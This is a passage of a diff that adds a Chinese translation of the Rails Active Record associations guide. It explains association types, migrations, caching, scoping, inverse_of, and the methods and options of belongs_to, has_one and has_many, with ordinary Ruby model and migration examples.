+      t.belongs_to :customer
+      t.datetime :order_date
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.2 has_one 关联

has_one 关联也会建立两个模型之间的一对一关系,但语义和结果有点不一样。这种关联表示模型的实例包含或拥有另一个模型的实例。例如,在程序中,每个供应商只有一个账户,可以这么定义供应商模型:

+
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+
+
+

has_one 关联

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier
+      t.string :account_number
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.3 has_many 关联

has_many 关联建立两个模型之间的一对多关系。在 belongs_to 关联的另一端经常会使用这个关联。has_many 关联表示模型的实例有零个或多个另一个模型的实例。例如,在程序中有顾客和订单两个模型,顾客模型可以这么定义:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

声明 has_many 关联时,另一个模型使用复数形式。

has_many 关联

相应的迁移如下:

+
+class CreateCustomers < ActiveRecord::Migration
+  def change
+    create_table :customers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :orders do |t|
+      t.belongs_to :customer
+      t.datetime :order_date
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.4 has_many :through 关联

has_many :through 关联经常用来建立两个模型之间的多对多关联。这种关联表示一个模型的实例可以借由第三个模型,拥有零个和多个另一个模型的实例。例如,在看病过程中,病人要和医生预约时间。这中间的关联声明如下:

+
+class Physician < ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, through: :appointments
+end
+
+
+
+

has_many :through 关联

相应的迁移如下:

+
+class CreateAppointments < ActiveRecord::Migration
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician
+      t.belongs_to :patient
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+
+
+
+

连接模型中的集合可以使用 API 关联。例如:

+
+physician.patients = patients
+
+
+
+

会为新建立的关联对象创建连接模型实例,如果其中一个对象删除了,相应的记录也会删除。

自动删除连接模型的操作直接执行,不会触发 *_destroy 回调。

has_many :through 还可用来简化嵌套的 has_many 关联。例如,一个文档分为多个部分,每一部分又有多个段落,如果想使用简单的方式获取文档中的所有段落,可以这么做:

+
+class Document < ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, through: :sections
+end
+
+class Section < ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :section
+end
+
+
+
+

加上 through: :sections 后,Rails 就能理解这段代码:

+
+@document.paragraphs
+
+
+
+

2.5 has_one :through 关联

has_one :through 关联建立两个模型之间的一对一关系。这种关联表示一个模型通过第三个模型拥有另一个模型的实例。例如,每个供应商只有一个账户,而且每个账户都有一个历史账户,那么可以这么定义模型:

+
+class Supplier < ActiveRecord::Base
+  has_one :account
+  has_one :account_history, through: :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+  belongs_to :account
+end
+
+
+
+

has_one :through 关联

相应的迁移如下:

+
+class CreateAccountHistories < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.6 has_and_belongs_to_many 关联

has_and_belongs_to_many 关联之间建立两个模型之间的多对多关系,不借由第三个模型。例如,程序中有装配体和零件两个模型,每个装配体中有多个零件,每个零件又可用于多个装配体,这时可以按照下面的方式定义模型:

+
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

has_and_belongs_to_many 关联

相应的迁移如下:

+
+class CreateAssembliesAndParts < ActiveRecord::Migration
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
+
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly
+      t.belongs_to :part
+    end
+  end
+end
+
+
+
+

2.7 使用 belongs_to 还是 has_one +

如果想建立两个模型之间的一对一关系,可以在一个模型中声明 belongs_to,然后在另一模型中声明 has_one。但是怎么知道在哪个模型中声明哪种关联?

不同的声明方式带来的区别是外键放在哪个模型对应的数据表中(外键在声明 belongs_to 关联所在模型对应的数据表中)。不过声明时要考虑一下语义,has_one 的意思是某样东西属于我。例如,说供应商有一个账户,比账户拥有供应商更合理,所以正确的关联应该这么声明:

+
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+end
+
+
+
+

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+end
+
+
+
+

t.integer :supplier_id 更明确的表明了外键的名字。在目前的 Rails 版本中,可以抽象实现的细节,使用 t.references :supplier 代替。

2.8 使用 has_many :through 还是 has_and_belongs_to_many +

Rails 提供了两种建立模型之间多对多关系的方法。其中比较简单的是 has_and_belongs_to_many,可以直接建立关联:

+
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

第二种方法是使用 has_many :through,但无法直接建立关联,要通过第三个模型:

+
+class Assembly < ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, through: :manifests
+end
+
+class Manifest < ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, through: :manifests
+end
+
+
+
+

根据经验,如果关联的第三个模型要作为独立实体使用,要用 has_many :through 关联;如果不需要使用第三个模型,用简单的 has_and_belongs_to_many 关联即可(不过要记得在数据库中创建连接数据表)。

如果需要做数据验证、回调,或者连接模型上要用到其他属性,此时就要使用 has_many :through 关联。

2.9 多态关联

关联还有一种高级用法,“多态关联”。在多态关联中,在同一个关联中,模型可以属于其他多个模型。例如,图片模型可以属于雇员模型或者产品模型,模型的定义如下:

+
+class Picture < ActiveRecord::Base
+  belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ActiveRecord::Base
+  has_many :pictures, as: :imageable
+end
+
+class Product < ActiveRecord::Base
+  has_many :pictures, as: :imageable
+end
+
+
+
+

belongs_to 中指定使用多态,可以理解成创建了一个接口,可供任何一个模型使用。在 Employee 模型实例上,可以使用 @employee.pictures 获取图片集合。类似地,可使用 @product.pictures 获取产品的图片。

Picture 模型的实例上,可以使用 @picture.imageable 获取父对象。不过事先要在声明多态接口的模型中创建外键字段和类型字段:

+
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+end
+
+
+
+

上面的迁移可以使用 t.references 简化:

+
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, polymorphic: true
+      t.timestamps
+    end
+  end
+end
+
+
+
+

多态关联

2.10 自连接

设计数据模型时会发现,有时模型要和自己建立关联。例如,在一个数据表中保存所有雇员的信息,但要建立经理和下属之间的关系。这种情况可以使用自连接关联解决:

+
+class Employee < ActiveRecord::Base
+  has_many :subordinates, class_name: "Employee",
+                          foreign_key: "manager_id"
+
+  belongs_to :manager, class_name: "Employee"
+end
+
+
+
+

这样定义模型后,就可以使用 @employee.subordinates@employee.manager 了。

在迁移中,要添加一个引用字段,指向模型自身:

+
+class CreateEmployees < ActiveRecord::Migration
+  def change
+    create_table :employees do |t|
+      t.references :manager
+      t.timestamps
+    end
+  end
+end
+
+
+
+

3 小技巧和注意事项

在 Rails 程序中高效地使用 Active Record 关联,要了解以下几个知识:

+
    +
  • 缓存控制
  • +
  • 避免命名冲突
  • +
  • 更新模式
  • +
  • 控制关联的作用域
  • +
  • Bi-directional associations
  • +
+

3.1 缓存控制

关联添加的方法都会使用缓存,记录最近一次查询结果,以备后用。缓存还会在方法之间共享。例如:

+
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+
+
+
+

程序的其他部分会修改数据,那么应该怎么重载缓存呢?调用关联方法时传入 true 参数即可:

+
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+
+
+
+

3.2 避免命名冲突

关联的名字并不能随意使用。因为创建关联时,会向模型添加同名方法,所以关联的名字不能和 ActiveRecord::Base 中的实例方法同名。如果同名,关联方法会覆盖 ActiveRecord::Base 中的实例方法,导致错误。例如,关联的名字不能为 attributesconnection

3.3 更新模式

关联非常有用,但没什么魔法。关联对应的数据库模式需要你自己编写。不同的关联类型,要做的事也不同。对 belongs_to 关联来说,要创建外键;对 has_and_belongs_to_many 来说,要创建相应的连接数据表。

3.3.1 创建 belongs_to 关联所需的外键

声明 belongs_to 关联后,要创建相应的外键。例如,有下面这个模型:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+
+
+

这种关联需要在数据表中创建合适的外键:

+
+class CreateOrders < ActiveRecord::Migration
+  def change
+    create_table :orders do |t|
+      t.datetime :order_date
+      t.string   :order_number
+      t.integer  :customer_id
+    end
+  end
+end
+
+
+
+

如果声明关联之前已经定义了模型,则要在迁移中使用 add_column 创建外键。

3.3.2 创建 has_and_belongs_to_many 关联所需的连接数据表

声明 has_and_belongs_to_many 关联后,必须手动创建连接数据表。除非在 :join_table 选项中指定了连接数据表的名字,否则 Active Record 会按照类名出现在字典中的顺序为数据表起名字。那么,顾客和订单模型使用的连接数据表默认名为“customers_orders”,因为在字典中,“c”在“o”前面。

模型名的顺序使用字符串的 < 操作符确定。所以,如果两个字符串的长度不同,比较最短长度时,两个字符串是相等的,但长字符串的排序比短字符串靠前。例如,你可能以为“"paper_boxes”和“papers”这两个表生成的连接表名为“papers_paper_boxes”,因为“paper_boxes”比“papers”长。其实生成的连接表名为“paper_boxes_papers”,因为在一般的编码方式中,“_”比“s”靠前。

不管名字是什么,你都要在迁移中手动创建连接数据表。例如下面的关联声明:

+
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

需要在迁移中创建 assemblies_parts 数据表,而且该表无主键:

+
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+end
+
+
+
+

我们把 id: false 选项传给 create_table 方法,因为这个表不对应模型。只有这样,关联才能正常建立。如果在使用 has_and_belongs_to_many 关联时遇到奇怪的表现,例如提示模型 ID 损坏,或 ID 冲突,有可能就是因为创建了主键。

3.4 控制关联的作用域

默认情况下,关联只会查找当前模块作用域中的对象。如果在模块中定义 Active Record 模型,知道这一点很重要。例如:

+
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

上面的代码能正常运行,因为 SupplierAccount 在同一个作用域内。但下面这段代码就不行了,因为 SupplierAccount 在不同的作用域中:

+
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

要想让处在不同命名空间中的模型正常建立关联,声明关联时要指定完整的类名:

+
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
+end
+
+
+
+

3.5 双向关联

一般情况下,都要求能在关联的两端进行操作。例如,有下面的关联声明:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+
+
+

默认情况下,Active Record 并不知道这个关联中两个模型之间的联系。可能导致同一对象的两个副本不同步:

+
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+
+
+
+

之所以会发生这种情况,是因为 co.customer 在内存中是同一数据的两种表示,修改其中一个并不会刷新另一个。Active Record 提供了 :inverse_of 选项,可以告知 Rails 两者之间的关系:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+
+
+
+

这么修改之后,Active Record 就只会加载一个顾客对象,避免数据的不一致性,提高程序的执行效率:

+
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+
+
+
+

inverse_of 有些限制:

+
    +
  • 不能和 :through 选项同时使用;
  • +
  • 不能和 :polymorphic 选项同时使用;
  • +
  • 不能和 :as 选项同时使用;
  • +
  • belongs_to 关联中,会忽略 has_many 关联的 inverse_of 选项;
  • +
+

每种关联都会尝试自动找到关联的另一端,设置 :inverse_of 选项(根据关联的名字)。使用标准名字的关联都有这种功能。但是,如果在关联中设置了下面这些选项,将无法自动设置 :inverse_of

+
    +
  • :conditions
  • +
  • :through
  • +
  • :polymorphic
  • +
  • :foreign_key
  • +
+

4 关联详解

下面几节详细说明各种关联,包括添加的方法和声明关联时可以使用的选项。

4.1 belongs_to 关联详解

belongs_to 关联创建一个模型与另一个模型之间的一对一关系。用数据库的行话来说,就是这个类中包含了外键。如果外键在另一个类中,就应该使用 has_one 关联。

4.1.1 belongs_to 关联添加的方法

声明 belongs_to 关联后,所在的类自动获得了五个和关联相关的方法:

+
    +
  • association(force_reload = false)
  • +
  • association=(associate)
  • +
  • build_association(attributes = {})
  • +
  • create_association(attributes = {})
  • +
  • create_association!(attributes = {})
  • +
+

这五个方法中的 association 要替换成传入 belongs_to 方法的第一个参数。例如,如下的声明:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+
+
+

每个 Order 模型实例都获得了这些方法:

+
+customer
+customer=
+build_customer
+create_customer
+create_customer!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.1.1.1 association(force_reload = false) +

如果关联的对象存在,association 方法会返回关联对象。如果找不到关联对象,则返回 nil

+
+@customer = @order.customer
+
+
+
+

如果关联对象之前已经取回,会返回缓存版本。如果不想使用缓存版本,强制重新从数据库中读取,可以把 force_reload 参数设为 true

4.1.1.2 association=(associate) +

association= 方法用来赋值关联的对象。这个方法的底层操作是,从关联对象上读取主键,然后把值赋给该主键对应的对象。

+
+@order.customer = @customer
+
+
+
+
4.1.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象连接的外键会自动设置,但关联对象不会存入数据库。

+
+@customer = @order.build_customer(customer_number: 123,
+                                  customer_name: "John Doe")
+
+
+
+
4.1.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象连接的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@customer = @order.create_customer(customer_number: 123,
+                                   customer_name: "John Doe")
+
+
+
+
4.1.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录不合法,会抛出 ActiveRecord::RecordInvalid 异常。

4.1.2 belongs_to 方法的选项

Rails 的默认设置足够智能,能满足常见需求。但有时还是需要定制 belongs_to 关联的行为。定制的方法很简单,声明关联时传入选项或者使用代码块即可。例如,下面的关联使用了两个选项:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, dependent: :destroy,
+    counter_cache: true
+end
+
+
+
+

belongs_to 关联支持以下选项:

+
    +
  • :autosave
  • +
  • :class_name
  • +
  • :counter_cache
  • +
  • :dependent
  • +
  • :foreign_key
  • +
  • :inverse_of
  • +
  • :polymorphic
  • +
  • :touch
  • +
  • :validate
  • +
+
4.1.2.1 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.1.2.2 :class_name +

如果另一个模型无法从关联的名字获取,可以使用 :class_name 选项指定模型名。例如,如果订单属于顾客,但表示顾客的模型是 Patron,就可以这样声明关联:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, class_name: "Patron"
+end
+
+
+
+
4.1.2.3 :counter_cache +

:counter_cache 选项可以提高统计所属对象数量操作的效率。假如如下的模型:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

这样声明关联后,如果想知道 @customer.orders.size 的结果,就要在数据库中执行 COUNT(*) 查询。如果不想执行这个查询,可以在声明 belongs_to 关联的模型中加入计数缓存功能:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, counter_cache: true
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

这样声明关联后,Rails 会及时更新缓存,调用 size 方法时返回缓存中的值。

虽然 :counter_cache 选项在声明 belongs_to 关联的模型中设置,但实际使用的字段要添加到关联的模型中。针对上面的例子,要把 orders_count 字段加入 Customer 模型。这个字段的默认名也是可以设置的:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, counter_cache: :count_of_orders
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

计数缓存字段通过 attr_readonly 方法加入关联模型的只读属性列表中。

4.1.2.4 :dependent +

:dependent 选项的值有两个:

+
    +
  • +:destroy:销毁对象时,也会在关联对象上调用 destroy 方法;
  • +
  • +:delete:销毁对象时,关联的对象不会调用 destroy 方法,而是直接从数据库中删除;
  • +
+

belongs_to 关联和 has_many 关联配对时,不应该设置这个选项,否则会导致数据库中出现孤儿记录。

4.1.2.5 :foreign_key +

按照约定,用来存储外键的字段名是关联名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, class_name: "Patron",
+                        foreign_key: "patron_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.1.2.6 :inverse_of +

:inverse_of 选项指定 belongs_to 关联另一端的 has_manyhas_one 关联名。不能和 :polymorphic 选项一起使用。

+
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+
+
+
+
4.1.2.7 :polymorphic +

:polymorphic 选项为 true 时表明这是个多态关联。前文已经详细介绍过多态关联。

4.1.2.8 :touch +

如果把 :touch 选项设为 true,保存或销毁对象时,关联对象的 updated_atupdated_on 字段会自动设为当前时间戳。

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, touch: true
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

在这个例子中,保存或销毁订单后,会更新关联的顾客中的时间戳。还可指定要更新哪个字段的时间戳:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, touch: :orders_updated_at
+end
+
+
+
+
4.1.2.9 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联对象。该选项的默认值是 false,保存对象时不验证关联对象。

4.1.3 belongs_to 的作用域

有时可能需要定制 belongs_to 关联使用的查询方式,定制的查询可在作用域代码块中指定。例如:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where active: true },
+                        dependent: :destroy
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个方法:

+
    +
  • where
  • +
  • includes
  • +
  • readonly
  • +
  • select
  • +
+
4.1.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where active: true }
+end
+
+
+
+
4.1.3.2 includes +

includes 方法指定使用关联时要按需加载的间接关联。例如,有如下的模型:

+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

如果经常要直接从商品上获取顾客对象(@line_item.order.customer),就可以把顾客引入商品和订单的关联中:

+
+class LineItem < ActiveRecord::Base
+  belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+
+
+

直接关联没必要使用 includes。如果 Order belongs_to :customer,那么顾客会自动按需加载。

4.1.3.3 readonly +

如果使用 readonly,通过关联获取的对象就是只读的。

4.1.3.4 select +

select 方法会覆盖获取关联对象使用的 SQL SELECT 子句。默认情况下,Rails 会读取所有字段。

如果在 belongs_to 关联中使用 select 方法,应该同时设置 :foreign_key 选项,确保返回正确的结果。

4.1.4 检查关联的对象是否存在

检查关联的对象是否存在可以使用 association.nil? 方法:

+
+if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+
+
+
+
4.1.5 什么时候保存对象

把对象赋值给 belongs_to 关联不会自动保存对象,也不会保存关联的对象。

4.2 has_one 关联详解

has_one 关联建立两个模型之间的一对一关系。用数据库的行话说,这种关联的意思是外键在另一个类中。如果外键在这个类中,应该使用 belongs_to 关联。

4.2.1 has_one 关联添加的方法

声明 has_one 关联后,声明所在的类自动获得了五个关联相关的方法:

+
    +
  • association(force_reload = false)
  • +
  • association=(associate)
  • +
  • build_association(attributes = {})
  • +
  • create_association(attributes = {})
  • +
  • create_association!(attributes = {})
  • +
+

这五个方法中的 association 要替换成传入 has_one 方法的第一个参数。例如,如下的声明:

+
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+
+
+

每个 Supplier 模型实例都获得了这些方法:

+
+account
+account=
+build_account
+create_account
+create_account!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.2.1.1 association(force_reload = false) +

如果关联的对象存在,association 方法会返回关联对象。如果找不到关联对象,则返回 nil

+
+@account = @supplier.account
+
+
+
+

如果关联对象之前已经取回,会返回缓存版本。如果不想使用缓存版本,强制重新从数据库中读取,可以把 force_reload 参数设为 true

4.2.1.2 association=(associate) +

association= 方法用来赋值关联的对象。这个方法的底层操作是,从关联对象上读取主键,然后把值赋给该主键对应的关联对象。

+
+@supplier.account = @account
+
+
+
+
4.2.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象连接的外键会自动设置,但关联对象不会存入数据库。

+
+@account = @supplier.build_account(terms: "Net 30")
+
+
+
+
4.2.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,和对象连接的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@account = @supplier.create_account(terms: "Net 30")
+
+
+
+
4.2.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录不合法,会抛出 ActiveRecord::RecordInvalid 异常。

4.2.2 has_one 方法的选项

Rails 的默认设置足够智能,能满足常见需求。但有时还是需要定制 has_one 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Supplier < ActiveRecord::Base
+  has_one :account, class_name: "Billing", dependent: :nullify
+end
+
+
+
+

has_one 关联支持以下选项:

+
    +
  • :as
  • +
  • :autosave
  • +
  • :class_name
  • +
  • :dependent
  • +
  • :foreign_key
  • +
  • :inverse_of
  • +
  • :primary_key
  • +
  • :source
  • +
  • :source_type
  • +
  • :through
  • +
  • :validate
  • +
+
4.2.2.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.2.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.2.2.3 :class_name +

如果另一个模型无法从关联的名字获取,可以使用 :class_name 选项指定模型名。例如,供应商有一个账户,但表示账户的模型是 Billing,就可以这样声明关联:

+
+class Supplier < ActiveRecord::Base
+  has_one :account, class_name: "Billing"
+end
+
+
+
+
4.2.2.4 :dependent +

设置销毁拥有者时要怎么处理关联对象:

+
    +
  • +:destroy:也销毁关联对象;
  • +
  • +:delete:直接把关联对象对数据库中删除,因此不会执行回调;
  • +
  • +:nullify:把外键设为 NULL,不会执行回调;
  • +
  • +:restrict_with_exception:有关联的对象时抛出异常;
  • +
  • +:restrict_with_error:有关联的对象时,向拥有者添加一个错误;
  • +
+

如果在数据库层设置了 NOT NULL 约束,就不能使用 :nullify 选项。如果 :dependent 选项没有销毁关联,就无法修改关联对象,因为关联对象的外键设置为不接受 NULL

4.2.2.5 :foreign_key +

按照约定,在另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class Supplier < ActiveRecord::Base
+  has_one :account, foreign_key: "supp_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.2.2.6 :inverse_of +

:inverse_of 选项指定 has_one 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Supplier < ActiveRecord::Base
+  has_one :account, inverse_of: :supplier
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier, inverse_of: :account
+end
+
+
+
+
4.2.2.7 :primary_key +

按照约定,用来存储该模型主键的字段名 id:primary_key 选项可以设置要使用的主键名。

4.2.2.8 :source +

:source 选项指定 has_one :through 关联的关联源名字。

4.2.2.9 :source_type +

:source_type 选项指定 has_one :through 关联中用来处理多态关联的关联源类型。

4.2.2.10 :through +

:through 选项指定用来执行查询的连接模型。前文详细介绍过 has_one :through 关联。

4.2.2.11 :validate +

如果把 :validate 选项设为 true,保存对象时,会同时验证关联对象。该选项的默认值是 false,保存对象时不验证关联对象。

4.2.3 has_one 的作用域

有时可能需要定制 has_one 关联使用的查询方式,定制的查询可在作用域代码块中指定。例如:

+
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个方法:

+
    +
  • where
  • +
  • includes
  • +
  • readonly
  • +
  • select
  • +
+
4.2.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where "confirmed = 1" }
+end
+
+
+
+
4.2.3.2 includes +

includes 方法指定使用关联时要按需加载的间接关联。例如,有如下的模型:

+
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+
+
+
+

如果经常要直接获取供应商代表(@supplier.account.representative),就可以把代表引入供应商和账户的关联中:

+
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+
+
+
+
4.2.3.3 readonly +

如果使用 readonly,通过关联获取的对象就是只读的。

4.2.3.4 select +

select 方法会覆盖获取关联对象使用的 SQL SELECT 子句。默认情况下,Rails 会读取所有字段。

4.2.4 检查关联的对象是否存在

检查关联的对象是否存在可以使用 association.nil? 方法:

+
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+
+
+
+
4.2.5 什么时候保存对象

把对象赋值给 has_one 关联时,会自动保存对象(因为要更新外键)。而且所有被替换的对象也会自动保存,因为外键也变了。

如果无法通过验证,随便哪一次保存失败了,赋值语句就会返回 false,赋值操作会取消。

如果父对象(has_one 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_one 关联时不想保存对象,可以使用 association.build 方法。

4.3 has_many 关联详解

has_many 关联建立两个模型之间的一对多关系。用数据库的行话说,这种关联的意思是外键在另一个类中,指向这个类的实例。

4.3.1 has_many 关联添加的方法

声明 has_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection(force_reload = false)
  • +
  • collection<<(object, ...)
  • +
  • collection.delete(object, ...)
  • +
  • collection.destroy(object, ...)
  • +
  • collection=objects
  • +
  • collection_singular_ids
  • +
  • collection_singular_ids=ids
  • +
  • collection.clear
  • +
  • collection.empty?
  • +
  • collection.size
  • +
  • collection.find(...)
  • +
  • collection.where(...)
  • +
  • collection.exists?(...)
  • +
  • collection.build(attributes = {}, ...)
  • +
  • collection.create(attributes = {})
  • +
  • collection.create!(attributes = {})
  • +
+

这些个方法中的 collection 要替换成传入 has_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。例如,如下的声明:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
